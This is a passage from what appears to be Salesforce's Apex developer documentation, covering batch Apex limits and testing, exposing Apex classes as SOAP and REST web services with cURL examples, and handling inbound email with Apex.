against your limits for the number of queued jobs.
The following example tests the OwnerReassignment class.
public static testMethod void testBatch() {
user u = [SELECT ID, UserName FROM User
WHERE username='testuser1@acme.com'];
user u2 = [SELECT ID, UserName FROM User
WHERE username='testuser2@acme.com'];
String u2id = u2.id;
// Create 200 test accounts - this simulates one execute.
// Important - the Salesforce.com test framework only allows you to
// test one execute.
List <Account> accns = new List<Account>();
for(integer i = 0; i<200; i++){
Account a = new Account(Name='testAccount'+'i',
Ownerid = u.ID);
accns.add(a);
}
251
Batch ApexInvoking Apex
insert accns;
Test.StartTest();
OwnerReassignment reassign = new OwnerReassignment();
reassign.query='SELECT ID, Name, Ownerid ' +
'FROM Account ' +
'WHERE OwnerId=\'' + u.Id + '\'' +
' LIMIT 200';
reassign.email='admin@acme.com';
reassign.fromUserId = u.Id;
reassign.toUserId = u2.Id;
ID batchprocessid = Database.executeBatch(reassign);
Test.StopTest();
System.AssertEquals(
database.countquery('SELECT COUNT()'
+' FROM Account WHERE OwnerId=\'' + u2.Id + '\''),
200);
}
}
Use the System.Test.enqueueBatchJobs and System.Test.getFlexQueueOrder methods to enqueue and
reorder no-operation jobs within the contexts of tests.
Batch Apex Governor Limits
Keep in mind the following governor limits for batch Apex.
•Up to 5 batch jobs can be queued or active concurrently.
•Up to 100 Holding batch jobs can be held in the Apex flex queue.
•In a running test, you can submit a maximum of 5 batch jobs.
•The maximum number of batch Apex method executions per 24-hour period is 250,000, or the number of user licenses in your org
multiplied by 200—whichever is greater. Method executions include executions of the start, execute, and finish methods.
This limit is for your entire org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future
methods. To check how many asynchronous Apex executions are available, make a request to the REST API limits resource. See
List Organization Limits in the Force.com REST API Developer Guide. The licenses that count toward this limit are full Salesforce user
licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal
User licenses aren’t included.
•The batch Apex start method can have up to 15 query cursors open at a time per user. The batch Apex execute and finish
methods each have a limit of five open query cursors per user.
•A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records
are returned, the batch job is immediately terminated and marked as Failed.
•If the start method of the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch
can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller
batches of up to 2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper
limit. However, if you use a high number, you can run into other limits.
•If no size is specified with the optional scope parameter of Database.executeBatch, Salesforce chunks the records returned
by the start method into batches of 200. The system then passes each batch to the execute method. Apex governor limits
are reset for each execution of execute.
252
Batch ApexInvoking Apex
•The start, execute, and finish methods can implement up to 10 callouts each.
•Only one batch Apex job's start method can run at a time in an org. Batch jobs that haven’t started yet remain in the queue until
they're started. Note that this limit doesn’t cause any batch job to fail and execute methods of batch Apex jobs still run in parallel
if more than one job is running.
Batch Apex Best Practices
•Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger will not
add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user
interface, and all cases where more than one record can be updated at a time.
•When you call Database.executeBatch, Salesforce only places the job in the queue. Actual execution can be delayed based
on service availability.
•When testing your batch Apex, you can test only one execution of the execute method. Use the scope parameter of the
executeBatch method to limit the number of records passed into the execute method to ensure that you aren’t running
into governor limits.
•The executeBatch method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously
processed batch job is finished before testing against the results. Use the Test methods startTest and stopTest around
the executeBatch method to ensure that it finishes before continuing your test.
•Use Database.Stateful with the class definition if you want to share instance member variables or data across job transactions.
Otherwise, all member variables are reset to their initial state at the start of each transaction.
•Methods declared as future aren’t allowed in classes that implement the Database.Batchable interface.
•Methods declared as future can’t be called from a batch Apex class.
•When a batch Apex job is run, email notifications are sent to the user who submitted the batch job. If the code is included in a
managed package and the subscribing org is running the batch job, notifications are sent to the recipient listed in the Apex
Exception Notification Recipient field.
•Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method.
•Each batch Apex invocation creates an AsyncApexJob record. To construct a SOQL query to retrieve the job’s status, number
of errors, progress, and submitter, use the AsyncApexJob record’s ID. For more information about the AsyncApexJob object,
see AsyncApexJob in the Object Reference for Salesforce and Force.com.
•For each 10,000 AsyncApexJob records, Apex creates an AsyncApexJob record of type BatchApexWorker for internal
use. When querying for all AsyncApexJob records, we recommend that you filter out records of type BatchApexWorker
using the JobType field. Otherwise, the query returns one more record for every 10,000 AsyncApexJob records. For more
information about the AsyncApexJob object, see AsyncApexJob in the Object Reference for Salesforce and Force.com.
•All methods in the class must be defined as global or public.
•For a sharing recalculation, we recommend that the execute method delete and then re-create all Apex managed sharing for
the records in the batch. This process ensures that sharing is accurate and complete.
•Batch jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends and when
system resources become available, the queued batch jobs are executed. If a batch job was running when downtime occurred, the
batch execution is rolled back and restarted after the service comes back up.
•Minimize the number of batches, if possible. Salesforce uses a queue-based framework to handle asynchronous processes from such
sources as future methods and batch Apex. This queue is used to balance request workload across organizations. If more than 2,000
unprocessed requests from a single organization are in the queue, any additional requests from the same organization will be delayed
while the queue handles requests from other organizations.
253
Batch ApexInvoking Apex
•Ensure that batch jobs execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times and
tune queries used in your batch Apex code. The longer the batch job executes, the more likely other queued jobs are delayed when
many jobs are in the queue.
Chaining Batch Jobs
Starting with API version 26.0, you can start another batch job from an existing batch job to chain jobs together. Chain a batch job to
start a job after another one finishes and when your job requires batch processing, such as when processing large data volumes. Otherwise,
if batch processing isn’t needed, consider using Queueable Apex.
You can chain a batch job by calling Database.executeBatch or System.scheduleBatch from the finish method
of the current batch class. The new batch job will start after the current batch job finishes.
For previous API versions, you can’t call Database.executeBatch or System.scheduleBatch from any batch Apex
method. The version that’s used is the version of the running batch class that starts or schedules another batch job. If the finish
method in the running batch class calls a method in a helper class to start the batch job, the API version of the helper class doesn’t
matter.
SEE ALSO:
Batchable Interface
FlexQueue Class
enqueueBatchJobs(numberOfJobs)
getFlexQueueOrder()
Web Services
Exposing Apex Methods as SOAP Web Services
You can expose your Apex methods as SOAP Web services so that external applications can access your code and your application. To
expose your Apex methods, use WebService Methods.
Tip:
•Apex SOAP Web services allow an external application to invoke Apex methods through SOAP Web services. Apex callouts
enable Apex to invoke external Web or HTTP services.
•Apex REST API exposes your Apex classes and methods as REST Web services. See Exposing Apex Classes as REST Web Services.
WebService Methods
Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex Web service
to perform an action in Salesforce. Use the webService keyword to define these methods. For example:
global class MyWebService {
webService static Id makeContact(String lastName, Account a) {
Contact c = new Contact(lastName = 'Weissman', AccountId = a.Id);
insert c;
return c.id;
}
}
254
Web ServicesInvoking Apex
A developer of an external application can integrate with an Apex class containing webService methods by generating a WSDL for
the class. To generate a WSDL from an Apex class detail page:
1. In the application from Setup, enter “Apex Classes” in the Quick Find box, then select Apex Classes.
2. Click the name of a class that contains webService methods.
3. Click Generate WSDL.
Exposing Data with WebService Methods
Invoking a custom webService method always uses system context. Consequently, the current user's credentials are not used, and
any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing rules.
Developers who expose methods with the webService keyword should therefore take care that they are not inadvertently exposing
any sensitive data.
Warning: Apex class methods that are exposed through the API with the webService keyword don't enforce object permissions
and field-level security by default. We recommend that you make use of the appropriate object or field describe result methods
to check the current user’s access level on the objects and fields that the webService method is accessing. See DescribeSObjectResult
Class and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This
requirement applies to all Apex classes, including to classes that contain webService methods. To enforce sharing rules for
webService methods, declare the class that contains these methods with the with sharing keyword. See Using the with
sharing or without sharing Keywords.
Considerations for Using the WebService Keyword
When using the webService keyword, keep the following considerations in mind:
•You cannot use the webService keyword when defining a class. However, you can use it to define top-level, outer class methods,
and methods of an inner class.
•You cannot use the webService keyword to define an interface, or to define an interface's methods and variables.
•System-defined enums cannot be used in Web service methods.
•You cannot use the webService keyword in a trigger.
•All classes that contain methods defined with the webService keyword must be declared as global. If a method or inner
class is declared as global, the outer, top-level class must also be defined as global.
•Methods defined with the webService keyword are inherently global. These methods can be used by any Apex code that has
access to the class. You can consider the webService keyword as a type of access modifier that enables more access than
global.
•You must define any method that uses the webService keyword as static.
•You cannot deprecate webService methods or variables in managed package code.
•Because there are no SOAP analogs for certain Apex elements, methods defined with the webService keyword cannot take the
following elements as parameters. While these elements can be used within the method, they also cannot be marked as return
values.
–Maps
–Sets
–Pattern objects
–Matcher objects
255
Exposing Apex Methods as SOAP Web ServicesInvoking Apex
–Exception objects
•You must use the webService keyword with any member variables that you want to expose as part of a Web service. You should
not mark these member variables as static.
Considerations for calling Apex SOAP Web service methods:
•Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access.
•Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
•If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex SOAP
Web service methods aren't supported and result in the INVALID_OPERATION_WITH_EXPIRED_PASSWORD error. Reset the
user's password and make a call with an unexpired password to be able to call Apex Web service methods.
The following example shows a class with Web service member variables as well as a Web service method:
global class SpecialAccounts {
global class AccountInfo {
webService String AcctName;
webService Integer AcctNumber;
}
webService static Account createAccount(AccountInfo info) {
Account acct = new Account();
acct.Name = info.AcctName;
acct.AccountNumber = String.valueOf(info.AcctNumber);
insert acct;
return acct;
}
webService static Id [] createAccounts(Account parent,
Account child, Account grandChild) {
insert parent;
child.parentId = parent.Id;
insert child;
grandChild.parentId = child.Id;
insert grandChild;
Id [] results = new Id[3];
results[0] = parent.Id;
results[1] = child.Id;
results[2] = grandChild.Id;
return results;
}
}
// Test class for the previous class.
@isTest
private class SpecialAccountsTest {
testMethod static void testAccountCreate() {
SpecialAccounts.AccountInfo info = new SpecialAccounts.AccountInfo();
info.AcctName = 'Manoj Cheenath';
256
Exposing Apex Methods as SOAP Web ServicesInvoking Apex
info.AcctNumber = 12345;
Account acct = SpecialAccounts.createAccount(info);
System.assert(acct != null);
}
}
You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 270.
Overloading Web Service Methods
SOAP and WSDL do not provide good support for overloading methods. Consequently, Apex does not allow two methods marked with
the webService keyword to have the same name. Web service methods that have the same name in the same class generate a
compile-time error.
Exposing Apex Classes as REST Web Services
You can expose your Apex classes and methods so that external applications can access your code and your application through the
REST architecture. This section provides an overview of how to expose your Apex classes as REST Web services. You'll learn about the
class and method annotations and see code samples that show you how to implement this functionality.
Introduction to Apex REST
You can expose your Apex class and methods so that external applications can access your code and your application through the REST
architecture. This is done by defining your Apex class with the @RestResource annotation to expose it as a REST resource. Similarly,
add annotations to your methods to expose them through REST. For example, you can add the @HttpGet annotation to your method
to expose it as a REST resource that can be called by an HTTP GET request. For more information, see Apex REST Annotations on page
94
These are the classes containing methods and properties you can use with Apex REST.
DescriptionClass
Contains the RestRequest and RestResponse objects.RestContext Class
Represents an object used to pass data from an HTTP request to
an Apex RESTful Web service method.
request
Represents an object used to pass data from an Apex RESTful Web
service method to an HTTP response.
response
Governor Limits
Calls to Apex REST classes count against the organization's API governor limits. All standard Apex governor limits apply to Apex REST
classes. For example, the maximum request or response size is 6 MB for synchronous Apex or 12 MB for asynchronous Apex. For more
information, see Execution Governors and Limits.
Authentication
Apex REST supports these authentication mechanisms:
•OAuth 2.0
257
Exposing Apex Classes as REST Web ServicesInvoking Apex
•Session ID
See Step Two: Set Up Authorization in the Force.com REST API Developer Guide.
Apex REST Annotations
Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
•@RestResource(urlMapping='/yourUrl')
•@HttpDelete
•@HttpGet
•@HttpPatch
•@HttpPost
•@HttpPut
Apex REST Methods
Apex REST supports two formats for representations of resources: JSON and XML. JSON representations are passed by default in the
body of a request or response, and the format is indicated by the Content-Type property in the HTTP header. You can retrieve the
body as a Blob from the HttpRequest object if there are no parameters to the Apex method. If parameters are defined in the Apex method,
an attempt is made to deserialize the request body into those parameters. If the Apex method has a non-void return type, the resource
representation is serialized into the response body.
These return and parameter types are allowed:
•Apex primitives (excluding sObject and Blob).
•sObjects
•Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
•User-defined types that contain member variables of the types listed above.
Note: Apex REST doesn’t support XML serialization and deserialization of Chatter in Apex objects. Apex REST does support JSON
serialization and deserialization of Chatter in Apex objects. Also, some collection types, such as maps and lists, aren’t supported
with XML. See Request and Response Data Considerations for details.
Methods annotated with @HttpGet or @HttpDelete should have no parameters. This is because GET and DELETE requests have
no request body, so there's nothing to deserialize.
A single Apex class annotated with @RestResource can't have multiple methods annotated with the same HTTP request method.
For example, the same class can't have two methods annotated with @HttpGet.
Note: Apex REST currently doesn't support requests of Content-Type multipart/form-data.
Apex REST Method Considerations
Here are a few points to consider when you define Apex REST methods.
•RestRequest and RestResponse objects are available by default in your Apex methods through the static RestContext
object. This example shows how to access these objects through RestContext:
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
258
Exposing Apex Classes as REST Web ServicesInvoking Apex
•If the Apex method has no parameters, Apex REST copies the HTTP request body into the RestRequest.requestBody
property. If the method has parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't
be deserialized into the RestRequest.requestBody property.
•Apex REST uses similar serialization logic for the response. An Apex method with a non-void return type will have the return value
serialized into RestResponse.responseBody.
•Apex REST methods can be used in managed and unmanaged packages. When calling Apex REST methods that are contained in a
managed package, you need to include the managed package namespace in the REST call URL. For example, if the class is contained
in a managed package namespace called packageNamespace and the Apex REST methods use a URL mapping of
/MyMethod/*, the URL used via REST to call these methods would be of the form
https://instance.salesforce.com/services/apexrest/packageNamespace/MyMethod/. For more
information about managed packages, see What is a Package?.
•If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex REST Web
service methods aren't supported and result in the MUTUAL_AUTHENTICATION_FAILED error. Reset the user's password and make
a call with an unexpired password to be able to call Apex Web service methods.
User-Defined Types
You can use user-defined types for parameters in your Apex REST methods. Apex REST deserializes request data into public, private,
or global class member variables of the user-defined type, unless the variable is declared as static or transient. For example,
an Apex REST method that contains a user-defined type parameter might look like the following:
@RestResource(urlMapping='/user_defined_type_example/*')
global with sharing class MyOwnTypeRestResource {
@HttpPost
global static MyUserDefinedClass echoMyType(MyUserDefinedClass ic) {
return ic;
}
global class MyUserDefinedClass {
global String string1;
global String string2 { get; set; }
private String privateString;
global transient String transientString;
global static String staticString;
}
}
Valid JSON and XML request data for this method would look like:
{
"ic" : {
"string1" : "value for string1",
"string2" : "value for string2",
"privateString" : "value for privateString"
259
Exposing Apex Classes as REST Web ServicesInvoking Apex
}
}
<request>
<ic>
<string1>value for string1</string1>
<string2>value for string2</string2>
<privateString>value for privateString</privateString>
</ic>
</request>
If a value for staticString or transientString is provided in the example request data above, an HTTP 400 status code
response is generated. Note that the public, private, or global class member variables must be types allowed by Apex REST:
•Apex primitives (excluding sObject and Blob).
•sObjects
•Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
When creating user-defined types used as Apex REST method parameters, avoid introducing any class member variable definitions that
result in cycles (definitions that depend on each other) at run time in your user-defined types. Here's a simple example:
@RestResource(urlMapping='/CycleExample/*')
global with sharing class ApexRESTCycleExample {
@HttpGet
global static MyUserDef1 doCycleTest() {
MyUserDef1 def1 = new MyUserDef1();
MyUserDef2 def2 = new MyUserDef2();
def1.userDef2 = def2;
def2.userDef1 = def1;
return def1;
}
global class MyUserDef1 {
MyUserDef2 userDef2;
}
global class MyUserDef2 {
MyUserDef1 userDef1;
}
}
The code in the previous example compiles, but at run time when a request is made, Apex REST detects a cycle between instances of
def1 and def2, and generates an HTTP 400 status code error response.
Request and Response Data Considerations
Some additional things to keep in mind for the request data for your Apex REST methods:
260
Exposing Apex Classes as REST Web ServicesInvoking Apex
•The names of the Apex parameters matter, although the order doesn’t. For example, valid requests in both XML and JSON look like
the following:
@HttpPost
global static void myPostMethod(String s1, Integer i1, Boolean b1, String s2)
{
"s1" : "my first string",
"i1" : 123,
"s2" : "my second string",
"b1" : false
}
<request>
<s1>my first string</s1>
<i1>123</i1>
<s2>my second string</s2>
<b1>false</b1>
</request>
•The URL patterns URLpattern and URLpattern/* match the same URL. If one class has a urlMapping of URLpattern
and another class has a urlMapping of URLpattern/*, a REST request for this URL pattern resolves to the class that was saved
last.
•Some parameter and return types can't be used with XML as the Content-Type for the request or as the accepted format for the
response, and hence, methods with these parameter or return types can't be used with XML. Lists, maps, or collections of collections,
for example, List<List<String>> aren't supported. However, you can use these types with JSON. If the parameter list
includes a type that's invalid for XML and XML is sent, an HTTP 415 status code is returned. If the return type is a type that's invalid
for XML and XML is the requested response format, an HTTP 406 status code is returned.
•For request data in either JSON or XML, valid values for Boolean parameters are: true, false (both of these are treated as
case-insensitive), 1 and 0 (the numeric values, not strings of “1” or “0”). Any other values for Boolean parameters result in an error.
•If the JSON or XML request data contains multiple parameters of the same name, this results in an HTTP 400 status code error response.
For example, if your method specifies an input parameter named x, the following JSON request data results in an error:
{
"x" : "value1",
"x" : "value2"
}
Similarly, for user-defined types, if the request data includes data for the same user-defined type member variable multiple times,
this results in an error. For example, given this Apex REST method and user-defined type:
@RestResource(urlMapping='/DuplicateParamsExample/*')
global with sharing class ApexRESTDuplicateParamsExample {
@HttpPost
global static MyUserDef1 doDuplicateParamsTest(MyUserDef1 def) {
return def;
}
global class MyUserDef1 {
Integer i;
}
261
Exposing Apex Classes as REST Web ServicesInvoking Apex
}
The following JSON request data also results in an error:
{
"def" : {
"i" : 1,
"i" : 2
}
}
•If you need to specify a null value for one of your parameters in your request data, you can either omit the parameter entirely or
specify a null value. In JSON, you can specify null as the value. In XML, you must use the
http://www.w3.org/2001/XMLSchema-instance namespace with a nil value.
•For XML request data, you must specify an XML namespace that references any Apex namespace your method uses. So, for example,
if you define an Apex REST method such as:
@RestResource(urlMapping='/namespaceExample/*')
global class MyNamespaceTest {
@HttpPost
global static MyUDT echoTest(MyUDT def, String extraString) {
return def;
}
global class MyUDT {
Integer count;
}
}
You can use the following XML request data:
<request>
<def xmlns:MyUDT="http://soap.sforce.com/schemas/class/MyNamespaceTest">
<MyUDT:count>23</MyUDT:count>
</def>
<extraString>test</extraString>
</request>
Response Status Codes
The status code of a response is set automatically. This table lists some HTTP status codes and what they mean in the context of the
HTTP request method. For the full list of response status codes, see statusCode.
DescriptionResponse Status
Code
Request Method
The request was successful.200GET
The request was successful and the return type is non-void.200PATCH
The request was successful and the return type is void.204PATCH
An unhandled user exception occurred.400DELETE, GET, PATCH, POST, PUT
262
Exposing Apex Classes as REST Web ServicesInvoking Apex
DescriptionResponse Status
Code
Request Method
You don't have access to the specified Apex class.403DELETE, GET, PATCH, POST, PUT
The URL is unmapped in an existing @RestResource
annotation.
404DELETE, GET, PATCH, POST, PUT
The URL extension is unsupported.404DELETE, GET, PATCH, POST, PUT
The Apex class with the specified namespace couldn't be found.404DELETE, GET, PATCH, POST, PUT
The request method doesn't have a corresponding Apex method.405DELETE, GET, PATCH, POST, PUT
The Content-Type property in the header was set to a value other
than JSON or XML.
406DELETE, GET, PATCH, POST, PUT
The header specified in the HTTP request is not supported.406DELETE, GET, PATCH, POST, PUT
The XML return type specified for format is unsupported.406GET, PATCH, POST, PUT
The XML parameter type is unsupported.415DELETE, GET, PATCH, POST, PUT
The Content-Header Type specified in the HTTP request header
is unsupported.
415DELETE, GET, PATCH, POST, PUT
An unhandled Apex exception occurred.500DELETE, GET, PATCH, POST, PUT
SEE ALSO:
JSON Support
XML Support
Exposing Data with Apex REST Web Service Methods
Invoking a custom Apex REST Web service method always uses system context. Consequently, the current user's credentials are not
used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing
rules. Developers who expose methods using the Apex REST annotations should therefore take care that they are not inadvertently
exposing any sensitive data.
Warning: Apex class methods that are exposed through the Apex REST API don't enforce object permissions and field-level
security by default. We recommend that you make use of the appropriate object or field describe result methods to check the
current user’s access level on the objects and fields that the Apex REST API method is accessing. See DescribeSObjectResult Class
and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This
requirement applies to all Apex classes, including to classes that are exposed through Apex REST API. To enforce sharing rules for
Apex REST API methods, declare the class that contains these methods with the with sharing keyword. See Using the with
sharing or without sharing Keywords.
Apex REST Code Samples
These code samples show you how to expose Apex classes and methods through the REST architecture and how to call those resources
from a client.
263
Exposing Apex Classes as REST Web ServicesInvoking Apex
•Apex REST Basic Code Sample: Provides an example of an Apex REST class with three methods that you can call to delete a record,
get a record, and update a record.
•Apex REST Code Sample Using RestRequest: Provides an example of an Apex REST class that adds an attachment to a record by
using the RestRequest object
Apex REST Basic Code Sample
This sample shows you how to implement a simple REST API in Apex that handles three different HTTP request methods. For more
information about authenticating with cURL, see the Quick Start section of the Force.com REST API Developer Guide.
1. Create an Apex class in your instance from Setup by entering New in the Quick Find box, then selecting New and add this
code to your new class:
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {
@HttpDelete
global static void doDelete() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account account = [SELECT Id FROM Account WHERE Id = :accountId];
delete account;
}
@HttpGet
global static Account doGet() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}
@HttpPost
global static String doPost(String name,
String phone, String website) {
Account account = new Account();
account.Name = name;
account.phone = phone;
account.website = website;
insert account;
return account.Id;
}
}
2. To call the doGet method from a client, open a command-line window and execute the following cURL command to retrieve
an account by ID:
curl -H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"
264
Exposing Apex Classes as REST Web ServicesInvoking Apex
Replace sessionId with the <sessionId> element that you noted in the login response.
•
•Replace instance with your <serverUrl> element.
•Replace accountId with the ID of an account which exists in your organization.
After calling the doGet method, Salesforce returns a JSON response with data such as the following:
{
"attributes" :
{
"type" : "Account",
"url" : "/services/data/v22.0/sobjects/Account/accountId"
},
"Id" : "accountId",
"Name" : "Acme"
}
Note: The cURL examples in this section don't use a namespaced Apex class so you won't see the namespace in the URL.
3. Create a file called account.txt to contain the data for the account you will create in the next step.
{
"name" : "Wingo Ducks",
"phone" : "707-555-1234",
"website" : "www.wingo.ca.us"
}
4. Using a command-line window, execute the following cURL command to create a new account:
curl -H "Authorization: Bearer sessionId" -H "Content-Type: application/json" -d
@account.txt "https://instance.salesforce.com/services/apexrest/Account/"
After calling the doPost method, Salesforce returns a response with data such as the following:
"accountId"
The accountId is the ID of the account you just created with the POST request.
5. Using a command-line window, execute the following cURL command to delete an account by specifying the ID:
curl —X DELETE —H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"
Apex REST Code Sample Using RestRequest
The following sample shows you how to add an attachment to a case by using the RestRequest object. For more information about
authenticating with cURL, see the Quick Start section of the Force.com REST API Developer Guide. In this code, the binary file data is
stored in the RestRequest object, and the Apex service class accesses the binary data in the RestRequest object .
1. Create an Apex class in your instance from Setup by entering Apex Classes in the Quick Find box, then selecting Apex
Classes. Click New and add the following code to your new class:
@RestResource(urlMapping='/CaseManagement/v1/*')
global with sharing class CaseMgmtService
{
265
Exposing Apex Classes as REST Web ServicesInvoking Apex
@HttpPost
global static String attachPic(){
RestRequest req = RestContext.request;
RestResponse res = Restcontext.response;
Id caseId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Blob picture = req.requestBody;
Attachment a = new Attachment (ParentId = caseId,
Body = picture,
ContentType = 'image/jpg',
Name = 'VehiclePicture');
insert a;
return a.Id;
}
}
2. Open a command-line window and execute the following cURL command to upload the attachment to a case:
curl -H "Authorization: Bearer sessionId" -H "X-PrettyPrint: 1" -H "Content-Type:
image/jpeg" --data-binary @file
"https://instance.salesforce.com/services/apexrest/CaseManagement/v1/caseId"
•Replace sessionId with the <sessionId> element that you noted in the login response.
•Replace instance with your <serverUrl> element.
•Replace caseId with the ID of the case you want to add the attachment to.
•Replace file with the path and file name of the file you want to attach.
Your command should look something like this (with the sessionId replaced with your session ID and yourInstance
replaced with your instance name):
curl -H "Authorization: Bearer sessionId"
-H "X-PrettyPrint: 1" -H "Content-Type: image/jpeg" --data-binary
@c:\test\vehiclephoto1.jpg
"https://yourInstance.salesforce.com/services/apexrest/CaseManagement/v1/500D0000003aCts"
Note: The cURL examples in this section don’t use a namespaced Apex class so you won’t see the namespace in the URL.
The Apex class returns a JSON response that contains the attachment ID such as the following:
"00PD0000001y7BfMAI"
3. To verify that the attachment and the image were added to the case, navigate to Cases and select the All Open Cases view. Click
on the case and then scroll down to the Attachments related list. You should see the attachment you just created.
Apex Email Service
You can use email services to process the contents, headers, and attachments of inbound email. For example, you can create an email
service that automatically creates contact records based on contact information in messages.
Note: Visualforce email templates cannot be used for mass email.
You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages for
processing. To give multiple users access to a single email service, you can:
266
Apex Email ServiceInvoking Apex
•Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users.
•Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according to the
user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's email address
and creates records on behalf of that user.
To use email services, from Setup, enter Email Services in the Quick Find box, then select Email Services.
•Click New Email Service to define a new email service.
•Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service.
•Click Edit to make changes to an existing email service.
•Click Delete to delete an email service.
Note: Before deleting email services, you must delete all associated email service addresses.
When defining email services, note the following:
•An email service only processes messages it receives at one of its addresses.
•Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process
daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you
configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user
licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email messages a
day.
•Email service addresses that you create in your sandbox cannot be copied to your production org.
•For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
•Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments) exceeds
approximately 10 MB (varies depending on language and character set).
Using the InboundEmail Object
For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents
and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface
to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail
object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.
Example 1: Create Tasks for Contacts
The following is an example of how you can look up a contact based on the inbound email address and create a new task.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,
Messaging.InboundEnvelope env){
// Create an InboundEmailResult object for returning the result of the
// Apex Email Service
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
String myPlainText= '';
// Add the email plain text into the local variable
267
Using the InboundEmail ObjectInvoking Apex
myPlainText = email.plainTextBody;
// New Task object to be created
Task[] newTask = new Task[0];
// Try to look up any contacts based on the email from address
// If there is more than one contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {
Contact vCon = [SELECT Id, Name, Email
FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];
// Add a new Task to the contact record we just found above.
newTask.add(new Task(Description = myPlainText,
Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));
// Insert the new Task
insert newTask;
System.debug('New Task Object: ' + newTask );
}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}
// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;
// Return the result for the Apex Email Service
return result;
}
}
SEE ALSO:
InboundEmail Class
InboundEnvelope Class
InboundEmailResult Class
268
Using the InboundEmail ObjectInvoking Apex
Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record
updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller
extensions:
•A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you
use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality
that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the
current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile.
•A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions
allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current
user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although
the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can
specify whether a user can execute methods in a controller extension based on the user's profile.
You can use these system-supplied Apex classes when building custom Visualforce controllers and controller extensions.
•Action
•Dynamic Component
•IdeaStandardController
•IdeaStandardSetController
•KnowledgeArticleVersionStandardController
•Message
•PageReference
•SelectOption
•StandardController
•StandardSetController
In addition to these classes, the transient keyword can be used when declaring methods in controllers and controller extensions.
For more information, see Using the transient Keyword on page 79.
For more information on Visualforce, see the Visualforce Developer's Guide.
Invoking Apex Using JavaScript
JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior
that isn’t possible with the standard Visualforce AJAX components.
Features implemented using JavaScript remoting require three elements:
•The remote method invocation you add to the Visualforce page, written in JavaScript.
